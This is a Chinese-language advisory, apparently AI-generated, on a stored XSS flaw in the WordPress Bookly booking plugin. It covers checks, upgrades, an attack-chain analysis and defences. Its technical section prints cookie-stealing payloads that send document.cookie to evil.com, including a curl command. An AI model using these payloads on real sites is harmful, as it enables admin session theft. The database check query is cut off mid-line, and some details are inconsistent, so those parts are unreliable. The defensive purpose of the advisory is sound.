⚠️ 紧急预警
2026年6月13日,WordPress 预约排程插件 Bookly 曝出存储型跨站脚本攻击漏洞(CVE-2026-5513,CVSS 7.2)。攻击者无需登录即可通过篡改 Cookie 注入恶意脚本,在管理员访问后台时窃取会话令牌、劫持账户权限。该插件全球活跃安装量超过 7万站点,广泛用于美容院、诊所、培训机构等预约服务场景。
更令人担忧的是,这已经是 Bookly 插件自 2018 年以来被披露的 第六个安全漏洞,且其中四个都是存储型 XSS——同一个攻击面反复被攻破,说明开发者在输入验证和输出转义方面的安全实践存在系统性缺陷。
🔍 快速自查(2分钟)
如果你运营或管理 WordPress 网站,请按以下步骤检查是否使用了 Bookly 插件以及是否处于受影响状态。
第一步:检查是否安装了 Bookly 插件
登录 WordPress 后台,进入「插件 → 已安装的插件」页面,搜索 Bookly。如果找到了「Online Scheduling and Appointment Booking System – Bookly」插件,说明你的站点使用了该插件。
# 也可以通过命令行检查
wp plugin list --status=active --format=csv | grep bookly
# 如果输出包含 bookly-responsive-appointment-booking-tool → 已安装
第二步:检查插件版本
在插件列表中查看 Bookly 的版本号。如果版本号 ≤ 27.2,你的站点处于受影响状态。当前最新安全版本为 27.7。
# 命令行检查版本
wp plugin get bookly-responsive-appointment-booking-tool --field=version
# 输出 ≤ 27.2 → 受影响,需立即升级
第三步:检查 Cookie 记忆功能是否开启
该漏洞的利用前提是 Bookly 的「记住个人信息」功能处于开启状态(该选项默认关闭)。进入 WordPress 后台 → Bookly 设置 → 检查是否勾选了「Remember personal information in cookies」相关选项。
结论:如果你未安装 Bookly → 安全。如果已安装且版本 ≤ 27.2 → 立即升级到 27.7。如果版本已更新但不确定 Cookie 设置 → 检查后关闭该功能(作为额外防护)。
📋 风险确认表
已确认的风险
| 风险类型 | 影响 |
| 存储型 XSS 注入 | 攻击者无需登录,通过篡改 Cookie 注入恶意 JavaScript 脚本到预约页面 |
| 管理员会话劫持 | 当管理员查看预约列表时,恶意脚本自动执行,窃取 WordPress 管理员会话 Cookie |
| 钓鱼攻击载体 | 恶意脚本可篡改预约页面内容,伪造登录表单窃取用户凭证 |
无法排除的潜在风险
| 风险类型 | 影响 |
| 全站接管风险 | 存储型 XSS 可被升级为 WordPress 管理员账户接管,攻击者可安装恶意插件、篡改网站内容、植入后门 |
| 客户数据泄露 | Bookly 存储客户姓名、电话、邮箱等预约信息,若站点被接管,这些数据将暴露给攻击者 |
| 连锁感染 | 托管商或代理商批量管理的多站点中,一个站点的 XSS 可能蔓延至同一服务器上的其他站点 |
🛡️ 自救指南
第一步:立即升级插件
登录 WordPress 后台 → 插件 → 找到 Bookly → 点击「更新」。如果没有看到更新按钮,可以前往 WordPress 官方插件目录手动下载最新版本 27.7 并替换。
# 命令行升级
wp plugin update bookly-responsive-appointment-booking-tool
# 或通过 WordPress 后台一键更新
第二步:关闭 Cookie 记忆功能(如暂不能升级)
如果因兼容性问题暂时无法升级,进入 Bookly 设置面板,找到并取消勾选「Remember personal information in cookies」选项。该功能默认关闭,但部分站点管理员可能在配置预约流程时手动启用了它。关闭后可立即阻断漏洞利用路径,作为临时缓解措施。
第三步:排查是否已被利用
检查 Bookly 预约记录中是否存在包含异常 JavaScript 代码的客户姓名(如 <script> 标签)。如果发现可疑记录,说明攻击者可能已经在利用此漏洞。
# 检查数据库中预约记录是否存在 XSS 载荷
wp db query "SELECT * FROM wp_bookly_customers WHERE full_name LIKE '%
第四步:强制注销所有用户会话
如果确认站点已被利用或怀疑存在历史攻击,在 WordPress 后台执行「工具 → 站点健康 → 信息 → WordPress → 勾选清除所有用户会话」。这会使所有已登录用户的会话失效,迫使攻击者重新获取凭证。
第五步:部署 Web 应用防火墙规则
对于无法立即升级或需要额外防护的站点,可以在 WAF(如 Wordfence、Sucuri)中添加规则,拦截包含可疑内容(如 <script>、javascript:)的 Cookie 值。这可以作为纵深防御的补充措施。
🔬 技术分析
漏洞根因:Cookie 注入点缺失转义
CVE-2026-5513 的核心问题出在 Bookly 插件处理客户全名字段的 Cookie 读写流程中。当「记住个人信息」功能开启时,插件会将用户填写的姓名存储在名为 bookly-customer-full-name 的 Cookie 中。在用户下次访问预约页面时,插件会从该 Cookie 读取姓名并自动填入表单。
漏洞的关键在于:插件在 读取 Cookie 值时未进行输出转义(output escaping),直接将未过滤的 Cookie 内容渲染到 HTML 页面中。这意味着攻击者可以手动设置 Cookie 值为包含 JavaScript 代码的字符串(例如:<script>document.location='https://evil.com/steal?c='+document.cookie</script>),当管理员或其他用户访问包含预约表单的页面时,恶意脚本将在其浏览器中自动执行。
从攻击向量看,该漏洞的 CVSS 向量为 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N,表明攻击者无需任何认证(PR:N),通过网络即可利用(AV:N),且攻击复杂度低(AC:L)。唯一的前提条件是目标站点的 Cookie 记忆功能处于开启状态。虽然该选项默认关闭,但对于已启用该功能的站点而言,利用门槛几乎为零——攻击者只需在浏览器开发者工具中设置一个恶意 Cookie 值即可。
攻击链还原
第一阶段:侦察。攻击者通过浏览目标站点的预约页面,确认使用了 Bookly 插件。页面中通常会有「预约」按钮或日历组件,以及 bookly 相关的 CSS/JS 资源文件,这些特征很容易被自动化扫描工具识别。
第二阶段:漏洞触发。攻击者使用浏览器开发者工具或 curl 命令,向目标站点发送带有恶意 Cookie 的请求:
curl -b "bookly-customer-full-name=<script>fetch('https://evil.com/log?c='+document.cookie)</script>" \
https://target-site.com/appointments/
恶意载荷被存储在服务端会话中(通过 Cookie 回显机制)。值得注意的是,由于该漏洞属于存储型 XSS,攻击载荷会持久化存在于浏览器 Cookie 中,每次用户访问预约页面时都会被自动发送和渲染,具有持续性危害——攻击者只需注入一次,即可反复利用。
从攻击成本角度看,整个利用过程无需任何特殊工具或高深技术。一个具备基本 Web 开发知识的攻击者,使用浏览器内置的开发者工具即可在五分钟内完成从 Cookie 篡改到脚本注入的全过程。这使得该漏洞不仅对专业攻击者具有吸引力,对于「脚本小子」(script kiddie)级别的低水平攻击者同样友好,进一步放大了实际被利用的概率。
第三阶段:恶意脚本执行。当站点管理员登录后台查看预约订单时,Bookly 的管理界面会读取该客户的姓名字段并渲染到页面。由于未转义,嵌入的 JavaScript 脚本在管理员浏览器中执行,自动将管理员会话 Cookie 发送到攻击者控制的服务器。
第四阶段:权限提升。攻击者使用窃取到的管理员会话 Cookie,以管理员身份登录 WordPress 后台。此时攻击者可以安装恶意插件、创建管理员账户、篡改网站内容或植入持久化后门,实现从 XSS 到全站接管的完整攻击链。
八年六洞:Bookly 的 XSS 顽疾
Bookly 插件的存储型 XSS 问题并非首次出现。查阅 NVD 历史记录,Bookly 自 2018 年以来已被披露六个安全漏洞,其中四个属于存储型 XSS 类型:
| CVE 编号 | 年份 | CVSS | 漏洞类型 | 注入点 |
| CVE-2018-6891 | 2018 | 4.3 | Stored XSS | AJAX 支付详情 |
| CVE-2023-1172 | 2023 | 6.1 | Stored XSS | 客户全名 |
| CVE-2023-1159 | 2023 | 4.8 | Stored XSS | 服务标题 |
| CVE-2024-5584 | 2024 | 未评分 | Stored XSS | 待确认 |
| CVE-2026-2519 | 2026 | 5.3 | 价格篡改 | 预约价格参数 |
| CVE-2026-5513 | 2026 | 7.2 | Stored XSS | Cookie 姓名 |
从表格中可以清晰看到一个令人不安的模式:Bookly 的 XSS 漏洞反复出现在不同的用户输入注入点——2018 年是 AJAX 支付接口,2023 年是客户全名和服务标题,2024 年是另一个注入点,2026 年则是 Cookie 存储的全名字段。每次漏洞的注入点不同,但根因始终相同:插件对用户输入的过滤和输出转义不够严格。
这种反复复发模式说明 Bookly 的开发团队并未建立全局性的安全输入验证机制,而是采取"头痛医头"的修复策略——每次发现一个 XSS 注入点就修补那一个点,但没有对整个插件的用户数据处理流程进行系统性安全审计。只要插件继续接受并渲染未经验证的用户输入(无论来自 POST 表单、URL 参数还是 Cookie),新的 XSS 注入点就可能继续被发现。
更值得关注的是 Bookly 的漏洞披露时间线。2018 年首个 XSS 漏洞被修复后,插件经历了长达五年的"安全静默期"(2018-2023),期间未披露新的高危漏洞。然而 2023 年突然在同一年内爆出两个存储型 XSS(CVE-2023-1172 和 CVE-2023-1159),2024 年再添一个,2026 年更是在同一季度内连续披露两个漏洞(CVE-2026-2519 价格篡改和 CVE-2026-5513 Cookie XSS)。这种加速披露的趋势暗示插件代码库可能经历了大规模重构或功能扩展,新功能的引入伴随着新的安全缺陷。
中国用户影响分析
Bookly 插件在中国 WordPress 生态中有一定的使用基础,尤其在本地生活服务领域。中国的美容美发、宠物美容、汽车保养、教育培训、心理咨询等行业中,大量个体经营者和中小微企业使用 WordPress 搭建预约服务网站,而 Bookly 是 WordPress 预约类插件中最受欢迎的选项之一。
根据 WordPress 官方数据,Bookly 全球活跃安装量为 7 万站点,累计下载量超过 377 万次。虽然其付费版本(Bookly Pro)提供更多高级功能,但免费版本已覆盖了绝大部分预约场景的基本需求。中国用户选择 Bookly 的主要原因包括:免费版本功能完整、支持多语言界面(含中文)、支持支付宝和微信支付集成(通过扩展)、以及良好的移动端响应式设计。
对于使用 Bookly 的中国站点,风险尤为突出。许多经营者的 WordPress 站点缺乏专业的安全运维人员,插件更新不及时是常态。更关键的是,Bookly 存储的客户数据(姓名、电话、邮箱、预约时间、服务类型)直接涉及个人隐私信息,一旦站点因 XSS 被接管,这些数据将面临泄露风险,可能触发中国《个人信息保护法》的合规责任。
特别是在当前的数字化趋势下,越来越多的线下服务商家(如小型美容院、私教工作室、宠物店)开始使用 WordPress 搭建线上预约系统,以减少对美团、大众点评等平台的依赖。这类商家的技术能力普遍薄弱,往往由朋友或兼职技术人员代为搭建和维护,安全意识极为薄弱。一旦被攻击者利用 XSS 漏洞植入支付劫持脚本,消费者在预约时输入的微信支付或支付宝信息也可能被窃取,造成直接的经济损失和用户信任危机。
防御纵深建议
- 建立插件自动更新机制:在 WordPress 后台开启自动更新(WordPress 5.5+ 支持插件的自动安全更新),确保在厂商发布修复版本后第一时间完成升级,减少人工干预带来的延迟。
- 部署 WAF 规则:使用 Wordfence 或 Sucuri 等 Web 应用防火墙,添加针对 XSS 攻载的检测规则,拦截包含可疑 Cookie 值或 URL 参数的请求。WAF 可以在漏洞修复前提供临时防护。
- 启用 HttpOnly 和 Secure Cookie 标志:在服务器或 WordPress 配置中强制设置 HttpOnly 和 Secure 标志,防止 JavaScript 直接读取 Cookie。虽然不能阻止 XSS 执行,但可以增加窃取会话 Cookie 的难度。
- 定期安全审计:对于依赖预约插件运营的站点,建议每季度进行一次安全审计,重点关注插件的已知漏洞历史和用户数据处理流程。Bookly 的六年 XSS 历史表明,仅依赖厂商修复是不够的,站点运营者需要主动管理安全风险。
- 最小权限原则:为预约插件创建专用的 WordPress 用户角色,仅授予预约管理相关的最小权限,避免使用超级管理员账户处理日常预约业务。即使 XSS 被利用,攻击者也只能获得受限角色的权限。
修复方案
Bookly 官方已在版本 27.3 中修复了此漏洞(当前最新版本为 27.7)。Wordfence 安全团队于 2026 年 6 月 13 日公开披露了该漏洞详情,WordPress 官方插件目录已同步更新。受影响站点的管理员应立即升级至 27.7 或更高版本。
从修复代码来看(WordPress Trac changeset 3504922),开发团队在读取 Cookie 值后增加了 esc_html() 转义函数调用,确保在渲染到 HTML 页面之前对所有用户可控内容进行实体编码。这是 WordPress 生态中标准的 XSS 防护实践——但如前文所述,Bookly 的问题是每次修复只覆盖一个注入点,未能从根本上建立统一的数据净化层。
对于无法立即升级的站点,建议立即关闭 Bookly 的 Cookie 记忆功能作为临时缓解措施。从长期视角来看,WordPress 站点运营者应建立定期检查插件漏洞的运维习惯——订阅 WordPress.org 上的插件更新通知,关注 Wordfence、Patchstack 等安全厂商的漏洞公告,将安全纳入日常运维流程,而非仅在事故发生后才被动响应。
引用链接:
[1] NVD - CVE-2026-5513: https://nvd.nist.gov/vuln/detail/CVE-2026-5513
[2] Wordfence Advisory: https://www.wordfence.com/threat-intel/vulnerabilities/id/b8ab6dfa-3764-470f-aa49-1964f42d93de
[3] WordPress Trac Fix: https://plugins.trac.wordpress.org/changeset/3504922
[4] Bookly Plugin: https://wordpress.org/plugins/bookly-responsive-appointment-booking-tool/
龙虾池子 · AI 自动生成
夜雨聆风